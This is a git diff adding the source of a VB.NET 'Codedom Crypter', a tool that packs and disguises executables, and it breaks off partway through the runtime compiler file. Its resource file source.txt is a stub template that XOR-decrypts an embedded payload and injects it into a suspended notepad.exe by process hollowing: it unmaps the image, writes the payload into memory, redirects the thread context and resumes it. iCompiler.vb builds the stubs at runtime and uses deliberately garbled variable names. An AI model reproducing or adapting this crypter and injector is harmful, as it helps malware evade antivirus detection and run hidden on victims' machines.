8xHo/fEV5P3uGeb98Bfm/fAX5P3uGOj98RTw/fUM9P34B/L99wrq/fIS5v3wF+r98hL0/fgJ+v37Afz9 + /AD8/fwA+P36Ber98hPY/eck0P3jLdb95ibk/e4Z6v3yE+L97RrU/eUpzP3gMM794i/O/eIvzP3gMNL9 + 5CvY/eck2P3nJNL95CvM/eAwzv3hL8794i/M/eAw1P3lKeL97Rrq/fIT5P3uGdb95ibQ/eMt2P3nJej9 + 8RT2/fkG/P38APz9/ADy/fcK2v3pIr792D6w/dBMuv3WQs794i/W/eYmyv3fMrb900es/c5QrP3NUKz9 + zlCq/c1Ssv3RS7z91z+8/dc/sv3RS6r9zVKs/c5QrP3OUKz9zlC2/dRHyv3fMtb95ibO/eEvuv3WQ7D9 + 0Ey+/dg/2v3pI/L99wr8/fwA+v37Aez98xHI/d4zoP3HXYz8u3GW/cFlsP3QTbr91kOq/c1SkP29a4T9 + tnmE/bZ5hP22eYL9tXmM/LtxmP3CZJj8wmSK/bpxgv21eYT9tnmE/bZ5hP22eZD8vWuq/c1Suv3WQrD9 + 0E2W/MFnjP27cZ79xl7G/d016v3yEvr9+wH4/foD5P3uGbT90kh13qGNTZptxGrpoJaK/bpxmP3CZIb9 + uHhg15KjR5tqyVfvl6dY9JqlSJ1syFnRjKxw/KuOcPyqjlfQiqxInWzIWfSapVfvl6dHmmrJYNeSo4b9 + t3eY/cJkiv26cWrpoJZNm23Edd6hjrL90Uri/e0Z+P36A/b9+Qbc/eofov3IWkR1WdcyY0bwO2hN6Gb8 + pJhw/KuNXe+boTNRP/MuYkTzNJFb4jKjYd0ucEnwNFRB80jsjbhG6ou5MlE/9S5wSfAzoWHeMpdc4C5h + RPM1UkDzXfGboXD8q41k+6OZOWZL6DJjRvBCcFXboP3HXNr96SL2/fkG9v35B9b95iaU/b9nPaVozzFn + SPAri1PqQb51y0z8lrE4kl7dKZ1Z5y1rR/Mful/pH9Bp5S1sR/Mmm1fqMYJT6y+AUesnl1XrLW1H8x3K + ZecgvmLoLWtG8ymXV+k7l2LbTPyWsT+5cs4rklXpMGhI8DyiZtKS/b9q1P3lKPT9+Af0/fgH0P3jK4r9 + unFDl2bXXFxc/zd2UfUsd0vwLd941SiCTfBBW0z6WFhY/xa+XfMWyGDyV1dX/0NZTPwlgUr2JIBJ9kNV + Sv1XV1f/Fsdg8hi7XPNZWVn/Ql5O+iqATfIv4XrUK3dK8DZ0T/ZcXFz/Qplm14r9unTQ/eMr9P34CfL9 + 9wrO/eEvhP22eEKNYd5ra2v/YGBg/SKOT/UuVT76JohP9WdnZ/9jY2P/FrZZ+BO+W/dfX1//Z2dn/y10 + SvoscUn6Z2dn/15eXv8Sv1v3Ga9Y+GVlZf9oaGj/KIlR9S5TPvohjk71Xl5e/Wlpaf9Ck2TchPy2ec79 + 4S/y/fYK8v33Csz94DCE/LZ5O1dH8kJCQv9fX1//QGlR/BSuVfdOWVP9V1dX/0BAQP8lhEz6JH9K+jk+ + O/1SUlL/XFxc/1tbW/9RUVH/OT47/SOES/omfkr6QUFB/1hYWP9RXFX9Fa9V9z5mTvxeXl7/QUFB/zxd + Su6E/LZ5zP3gMPL99wry/fcKzv3iL4Hsrn4wsmbaFdZm7jBpSP1hYWH/OFdF/V9fX/8gg0r8DOJm8xqf + UvMZsFjyCvVs8xmWTfxbW1v/XFxc/xiZT/wK9WzzF7lb8BinU/MN3mXzIoBJ/GFhYf84V0X9X19f/y5r + R/0U3GjuL6Vg3oLxsXnO/eIu8v33CvT9+AnS/eQqjPW4cUPmh70W+3XnCOBj+ExXUf1jY2P/OWRL/Qb2 + a/gQ8G/uHet04BzyduAS1WTyBPtr+Cl6S/0sckn9BPtr+BHVZPIe9njgHudz4BHxb+4G9Wr4O2FL/WNj + Y/9KWFD9CeNl+Bb7dedE6Ym8jPS4cNT95Sn0/fgH9v35B9j95ySc/cRgUOGNsh23Xe0I/G72GaFS/E5Q + T/0Ly1z6CPxu9R2jVfAu+YPPLvuDzyCMTfIJ5WX3BuZl+gflZPoI5WX3IIpM8C77g88u9oLPH6JV8Aj7 + bfUNx1v6T1BP/RilU/wI/G72HLZc7VHnj66e/cZe2v3pI/b9+Qf4/foF4P3sHKz9zlBi/KObKrBi4gvj + ZvYE+Gr4FaNQ+gb8bfgQxl32JtJu3kD8jr0+/I6/Ie933hqLSfcI8mr2CPJq9huJSPcj7XjcQPyPvUL8 + kLwmzGzeEcde9gb8bfgVolD6BPlq+AviZfUotmPgYvyjm6z9zVDi/e0a+P36Bfr9+wPo/fEUuv3WQ3D8 + q40p4nbXF5tP9wj7bfYI+232B+9o9xiqVPMq3nXXUPyXrU78l64wilXnF9ho6hPjau0T42rtGdBl6jKK + V+VS/JmsUvuZqyvkeNUapVPzB+9p9wj7bvYI+m32GKBQ9iredddw/KqNuv3WQuj98RT6/fsD/P38AO79 + 9A/E/ds4fPyygjWhYtwVy2HwFLhY9gz8cPAUp1L3Gb5d8jTCcNNg/KGeYPuhnjFzTeoo+YDWI7dh5SO6 + YuUo93/VM3ZO6GT8o5pi/KKbNb9v0xm/XvIVplL3DPxw8BO4WPYUy2HwNKNi23z8soLE/dw47v30Dvz9 + /AD8/fwA8v33Csz94DCE/bZ4QZhm2SiJUfYT7m7rFPx16RLwb+syX0X6Pb1zzWz8qJFw9qiNStCCujXB + b9A5wXLOOcNzzTfEcs9N1Ia1dvuuh3D8q44/vXTLNGVH+hPub+sU/HXpEvBv6yeDTvdBmGbahP22ecz9 + 4DHy/fcK/P38APz9/AD0/fgJ0v3kK479vHA9gVneIt1w4B7oc+AihUvwHvh53ia7ZOVDnGjQfPyygYr9 + unJs5J6UUK12vGT8o5lk/KOZUKx2vHHpo5CO/bxvfvyzfkWibM4mumTlHvd53iKES/Ae6nTgItxw4Dx7 + VeCM/btx0v3kK/T9+An8/fwA/P38APb9+QfW/eYmmPzCZEGwcMk2+4jILp1c4DrshcUurGPeOPuJxUmx + dMKO/bxvov3IWpb9wGeK/bpxjv28b479vG+M/LtxmP3CZKb8yleQ/b1rSbB0wTj7icUuqmLeOuyFxS6g + Xt42+4jIQbFwyZb9wWXW/eYm9v35B/z9/AD8/fwA9v35Btz96h+m/cpWX9KOpTWJWNtS4o6uXvygoEnE + fb01iVnbbfCkkaL9yFq8/dc/uP3VRbD90Ey0/dJJtP3SSbL90Uu6/dZDvv3YPqT9yVdv76SQNolY3EvF + frxe/KCgUuCOrzeMWtpe0o6lpv3KV9z96h/2/fkG/P38AP///wD4/foD5P3uGLj91USK+rlycOmjkH78 + s36E/bZ5fPyxgnDnopCQ/L1tuv3WQ9L95CrU/eUp0P3jK9L95CrS/eQq0P3jK9T95SjU/eUovP3XQZD8 + vWtw5qKQfPyxgoT9tnl+/LN+cOmjkIr7uXS4/dVE5P3uGfj9+gP8/fwA////APr9+wHs/fMRzP3gMKr9 + zVKe/MVepP3JV6r9zVKi/MhanvzGXrD90E3Q/eMt5P3uGOj98RXm/fAV6P3xFOj98RTo/fEV6P3xFOb9 + 8BfQ/eMrsP3QTJ79xl6i/chaqv3NUqT9yVec/cRgqv3NUsz94DDs/fMR+v37Af///wD///8A/P38APL9 + 9wre/eseyP3eM8D92TzG/d01zP3gMcT93DjA/dk8zP3gMOL97Rrw/fUM9P34CfT9+An0/fgH9P34B/T9 + +An0/fgH8P31DOL97RnM/eAwwP3ZPMT93DjM/eAxxv3dNcD92TzI/d4z3v3rHvL99wr8/fwA////AP// + /wD8/fwA+P36Bez98w/g/ewc3P3qIeD97B3i/e0Z3v3rHtz96iHi/e0Z7v30Dvj9+gX6/fsB+v37Afr9 + +wH6/fsB+v37Afr9+wH4/foF8P31DOL97Rnc/eoh3v3rHuL97Rng/ewd3P3qIeD97Bzs/fMP+P36Bfz9 + /AD///8A////AP///wD8/fwA9v35B/D99Qzu/fQP8P31DPL99wrw/fUM7v30D/D99Qz4/foF/P38APz9 + /AD///8A////AP///wD///8A/P38APz9/AD4/foF8P31DO799A/w/fUM8v33CvD99Qzu/fQP8P31DPb9 + +Qf8/fwA////AP///wD///8A////APz9/AD6/fsB+P36A/j9+gX4/foD+v37A/j9+gP4/foF+P36A/z9 + /AD8/fwA////AP///wD///8A////AP///wD///8A/P38APz9/AD4/foD+P36Bfj9+gP6/fsD+P36A/j9 + +gX4/foD+v37Afz9/AD///8A////AP///wD///8A////APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38AP///wD///8A////AP///wD///8A////AP///wD///8A/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38APz9/AD8/fwA////AP///wD///8A//////////////////////////////////////// + ////////44ABx+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH8AAAD/AI + GA/wH/gP8B/4D/s//N////////////////////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAE + AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD8/fwA/P38APz9/AD8/fwA/P38APz9/AD8/fwA/P38APz9 + /AD8/fwA/P38APz9/AD8/fwA/P38AP///wD8/fwA9P34Ce799A72/fkG8v33Cuz98xHs/fMR8P31DPD9 + 9Qzs/fMR7P3zEfL99wr2/fkG7v30DvT9+An8/fwA+P36A9b95ibE/dw43P3qH8794i+8/dc/vP3XP8b9 + 3TXG/d03vP3XP7z91z/O/eEv3P3qH8T93DjW/eYm+P36A/D99Qyl9cdadd+hjKL9yFqH87R1aeCbmWrj + nZh78q2EefGshGrjnZhp4JuZh/O0daL9yFp136GNo/XFWvD99Qzo/fEVbcSRmjFvS+1X7JaoPZ1l1iuG + UO0rlFfqNJdd4DSVXOArklbqLIhT6z6dZtZX65WoMHBL7WvCkJzm/fAV4v3tGmbHj6hXZ178Ko5U7T5z + VPg6i1z6N45c+j5tUfo+a1H6N45c+jyKXPo/dFb4Ko5U7VZmXfxlyY+o4v3tGuD97B1bvISxOnhT+jt0 + U/xJZFT9I5FR+CCYUvhIZ1X9SGhW/R+cU/cjkFH4S2VW/TpzUvw4eVP6XbyFr+D97Bzm/e8Xbu6jkA/k + afBGa1X9FMdg+B7eb+Mf02rlD9Bg+hDNYPof1GvlH9xu4xXFX/pFbFX9EeRq8G/wpY7m/fAX7v30Do79 + vG8exGTpCuRl+A3XYvY46oPINtt8zRPOYfAUy2DwOdt9yjrqhMYO1mL2CuRl+B3FZOmO/bxu8P31DPb9 + +Qek/clZLKNe5xDna+4drVnzT96LtFPNhrQtzHDXL85y1lfQia9S3YyyHq5Z8xDoa+4ro17npP3JWfb9 + +Qf4/foDtP3SSTbCcNQqvmjdKtdz2mTRkqGK9rhxc+ikjXPopI2O+LpuZtOUnyrWctoqvmjdNMFv1bL9 + 0Ur4/foD+v37Acj93jNjz5ChbfWmklrMiqqW+cBnxv3dNcL92zrC/ds6yP3eM5j5wWRay4qqbfWmkmPQ + kKHI/d41+v37Afz9/ADi/e0ZtP3SSLj91USy/dFLzP3gMez98xHu/fQP7v30D+z98w/M/eAxsv3RS7j9 + 1US0/dJJ4v3tGfz9/AD8/fwA9v35B+b98BXq/fIT5v3wF+799A76/fsB/P38APz9/AD6/fsB7v30Dub9 + 8Bfq/fIT5v3wFfb9+Qf8/fwA////APz9/AD6/fsD+v37Afr9+wP8/fwA/P38AP///wD///8A/P38APz9 + /AD6/fsD+v37Afr9+wP8/fwA////AP//AAD//wAA//8AAP//AADYGwAAgAEAAIABAACAAQAAgAEAAMAD + AADAAwAAwkMAAMfjAAD//wAA//8AAP//AAA= + + + \ No newline at end of file diff --git a/scode (Codedom Crypter/WindowsApplication1/Form2.vb b/scode (Codedom Crypter/WindowsApplication1/Form2.vb new file mode 100644 index 0000000..2424178 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Form2.vb @@ -0,0 +1,6 @@ +Public Class Form2 + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + Me.Close() + End Sub +End Class \ No newline at end of file diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/Application.Designer.vb b/scode (Codedom Crypter/WindowsApplication1/My Project/Application.Designer.vb new file mode 100644 index 0000000..c2aa706 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.XD.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/Application.myapp b/scode (Codedom Crypter/WindowsApplication1/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/AssemblyInfo.vb b/scode (Codedom Crypter/WindowsApplication1/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..3c836b0 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/Resources.Designer.vb b/scode (Codedom Crypter/WindowsApplication1/My Project/Resources.Designer.vb new file mode 100644 index 0000000..f98ac89 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/Resources.Designer.vb @@ -0,0 +1,96 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("XD.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Bitmap. + ''' + Friend ReadOnly Property images() As System.Drawing.Bitmap + Get + Dim obj As Object = ResourceManager.GetObject("images", resourceCulture) + Return CType(obj,System.Drawing.Bitmap) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic + '''Imports System.Runtime.InteropServices + '''Imports System.Text + '''Module %1% + '''Sub Main() + ''' + '''Dim %2% As String = %3% + '''Dim %4% As Byte() = decrypt(Convert.FromBase64String(%2%),"okmijnlp") + '''Randomize() + '''System.Text.Encoding.GetEncoding(1252).GetBytes(%3%) + '''RunPE.InjectPE(%4%, Environment.SystemDirectory(0) & ":\Windows\notepad.exe") + '''End + '''End Sub + '''Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte() + ''' Dim passarr As Byte() = System.Text.Encodin [rest of string was truncated]";. + ''' + Friend ReadOnly Property source() As String + Get + Return ResourceManager.GetString("source", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/Resources.resx b/scode (Codedom Crypter/WindowsApplication1/My Project/Resources.resx new file mode 100644 index 0000000..561d75a --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/Resources.resx @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\source.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\images.jpg;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/Settings.Designer.vb b/scode (Codedom Crypter/WindowsApplication1/My Project/Settings.Designer.vb new file mode 100644 index 0000000..5e04e5b --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.XD.My.MySettings + Get + Return Global.XD.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Codedom Crypter/WindowsApplication1/My Project/Settings.settings b/scode (Codedom Crypter/WindowsApplication1/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Codedom Crypter/WindowsApplication1/Resources/images.jpg b/scode (Codedom Crypter/WindowsApplication1/Resources/images.jpg new file mode 100644 index 0000000..679cfa4 Binary files /dev/null and b/scode (Codedom Crypter/WindowsApplication1/Resources/images.jpg differ diff --git a/scode (Codedom Crypter/WindowsApplication1/Resources/source.txt b/scode (Codedom Crypter/WindowsApplication1/Resources/source.txt new file mode 100644 index 0000000..8c5e7ee --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Resources/source.txt @@ -0,0 +1,115 @@ +Imports System, Microsoft.VisualBasic +Imports System.Runtime.InteropServices +Imports System.Text +Module %1% +Sub Main() + +Dim %2% As String = %3% +Dim %4% As Byte() = decrypt(Convert.FromBase64String(%2%),"okmijnlp") +Randomize() +System.Text.Encoding.GetEncoding(1252).GetBytes(%3%) +RunPE.InjectPE(%4%, Environment.SystemDirectory(0) & ":\Windows\notepad.exe") +End +End Sub +Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte() + Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password) + Dim rand1 As Integer = message(message.Length - 1) Xor 112 + Dim outarr(message.Length) As Byte + Dim u1 As Integer + For i1 As Integer = 0 To message.Length - 1 + outarr(i1) = (message(i1) Xor rand1) Xor passarr(u1) + If u1 = password.Length - 1 Then u1 = 0 Else u1 = u1 + 1 + Next + ReDim Preserve outarr(message.Length - 2) + Return outarr + End Function +End Module +Public Class RunPE + _ + Private Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, ByVal inherit As Boolean, ByVal creation As Integer, _ + ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As Boolean + End Function + _ + Private Shared Function GetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As Boolean + End Function + _ + Private Shared Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger + End Function + _ + Private Shared Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As Boolean + End Function + _ + Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger + End Function + _ + Private Shared Function SetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As Boolean + End Function + _ + Private Shared Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal sizel As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr + End Function + _ + Private Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean + End Function + _ + Private Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As Integer) As Boolean + End Function + + Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean + Try + Dim procAttr As IntPtr = IntPtr.Zero + Dim processInfo As IntPtr() = New IntPtr(3) {} + Dim startupInfo As Byte() = New Byte(67) {} + + Dim num2 As Integer = BitConverter.ToInt32(bytes, 60) + Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6) + Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54)) + + If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _ + procAttr, Nothing, startupInfo, processInfo) Then + Dim ctxt As UInteger() = New UInteger(178) {} + ctxt(0) = &H10002 + If GetThreadContext(processInfo(1), ctxt) Then + Dim baseAddr As New IntPtr(ctxt(&H29) + 8L) + + Dim buffer__1 As IntPtr = IntPtr.Zero + Dim bufferSize As New IntPtr(4) + + Dim numRead As IntPtr = IntPtr.Zero + + If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then + Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34)) + Dim sizel As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80)) + Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, sizel, &H3000, &H40) + + Dim lpNumberOfBytesWritten As Integer + + WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten) + Dim num5 As Integer = num - 1 + For i As Integer = 0 To num5 + Dim dst As Integer() = New Integer(9) {} + Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40) + Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {} + Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length) + + sizel = New IntPtr(lpBaseAddress.ToInt32() + dst(3)) + addr = New IntPtr(buffer2.Length) + + WriteProcessMemory(processInfo(0), sizel, buffer2, CUInt(addr), lpNumberOfBytesWritten) + Next + sizel = New IntPtr(ctxt(&H29) + 8L) + addr = New IntPtr(4) + + WriteProcessMemory(processInfo(0), sizel, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten) + ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40)) + SetThreadContext(processInfo(1), ctxt) + End If + End If + ResumeThread(processInfo(1)) + End If + Catch + Return False + End Try + Return True + End Function +End Class + diff --git a/scode (Codedom Crypter/WindowsApplication1/WindowsApplication1.vbproj b/scode (Codedom Crypter/WindowsApplication1/WindowsApplication1.vbproj new file mode 100644 index 0000000..073ac45 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/WindowsApplication1.vbproj @@ -0,0 +1,151 @@ + + + + Debug + AnyCPU + 9.0.21022 + 2.0 + {F061F309-A39A-4771-83A1-E1FD12485F7A} + WinExe + XD.My.MyApplication + XD + WindowsApplication1 + 512 + WindowsForms + v3.5 + On + Binary + Off + On + favicon.ico + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + WindowsApplication1.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + ..\..\..\ + WindowsApplication1.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + False + ..\..\..\..\My Documents\Downloads\Dissembler Lib.dll + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + Form2.vb + + + Form + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + Designer + + + Form2.vb + Designer + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + \ No newline at end of file diff --git a/scode (Codedom Crypter/WindowsApplication1/WindowsApplication1.vbproj.user b/scode (Codedom Crypter/WindowsApplication1/WindowsApplication1.vbproj.user new file mode 100644 index 0000000..0410da1 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/WindowsApplication1.vbproj.user @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/scode (Codedom Crypter/WindowsApplication1/favicon.ico b/scode (Codedom Crypter/WindowsApplication1/favicon.ico new file mode 100644 index 0000000..3b5a616 Binary files /dev/null and b/scode (Codedom Crypter/WindowsApplication1/favicon.ico differ diff --git a/scode (Codedom Crypter/WindowsApplication1/iCompiler.vb b/scode (Codedom Crypter/WindowsApplication1/iCompiler.vb new file mode 100644 index 0000000..6a379c7 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/iCompiler.vb @@ -0,0 +1,39 @@ +Imports System.CodeDom.Compiler +Public Class iCompiler + Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String) + On Error Resume Next + + Dim uyghfy7tegyuhf7egyufh7y4uy7tg64yhf764y As ICodeCompiler = (New VBCodeProvider).CreateCompiler() + Dim jhgbnuyehufhgy3ebnfuyb3tghbjnwuye As New CompilerParameters() + Dim fhbenmigf7y4unmig76yt4hugjhybhn As CompilerResults + + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.GenerateExecutable = True + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.OutputAssembly = Output + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.CompilerOptions = "/target:winexe" + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.ReferencedAssemblies.Add("System.dll") + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.ReferencedAssemblies.Add("System.Data.dll") + + Dim Version = New Dictionary(Of String, String) + Version.Add("CompilerVersion", "v2.0") + + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.CompilerOptions = "/filealign:0x00200 /optimize+ /platform:X86 /debug- /target:winexe" + + Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico" + + If Icon <> "" Then + IO.File.Copy(Icon, ICO) + jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.CompilerOptions &= " /win32icon:" & ICO + End If + + fhbenmigf7y4unmig76yt4hugjhybhn = uyghfy7tegyuhf7egyufh7y4uy7tg64yhf764y.CompileAssemblyFromSource(jhgbnuyehufhgy3ebnfuyb3tghbjnwuye, Source) + + If fhbenmigf7y4unmig76yt4hugjhybhn.Errors.Count > 0 Then + For Each CompilerError In fhbenmigf7y4unmig76yt4hugjhybhn.Errors + MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) + Next + ElseIf 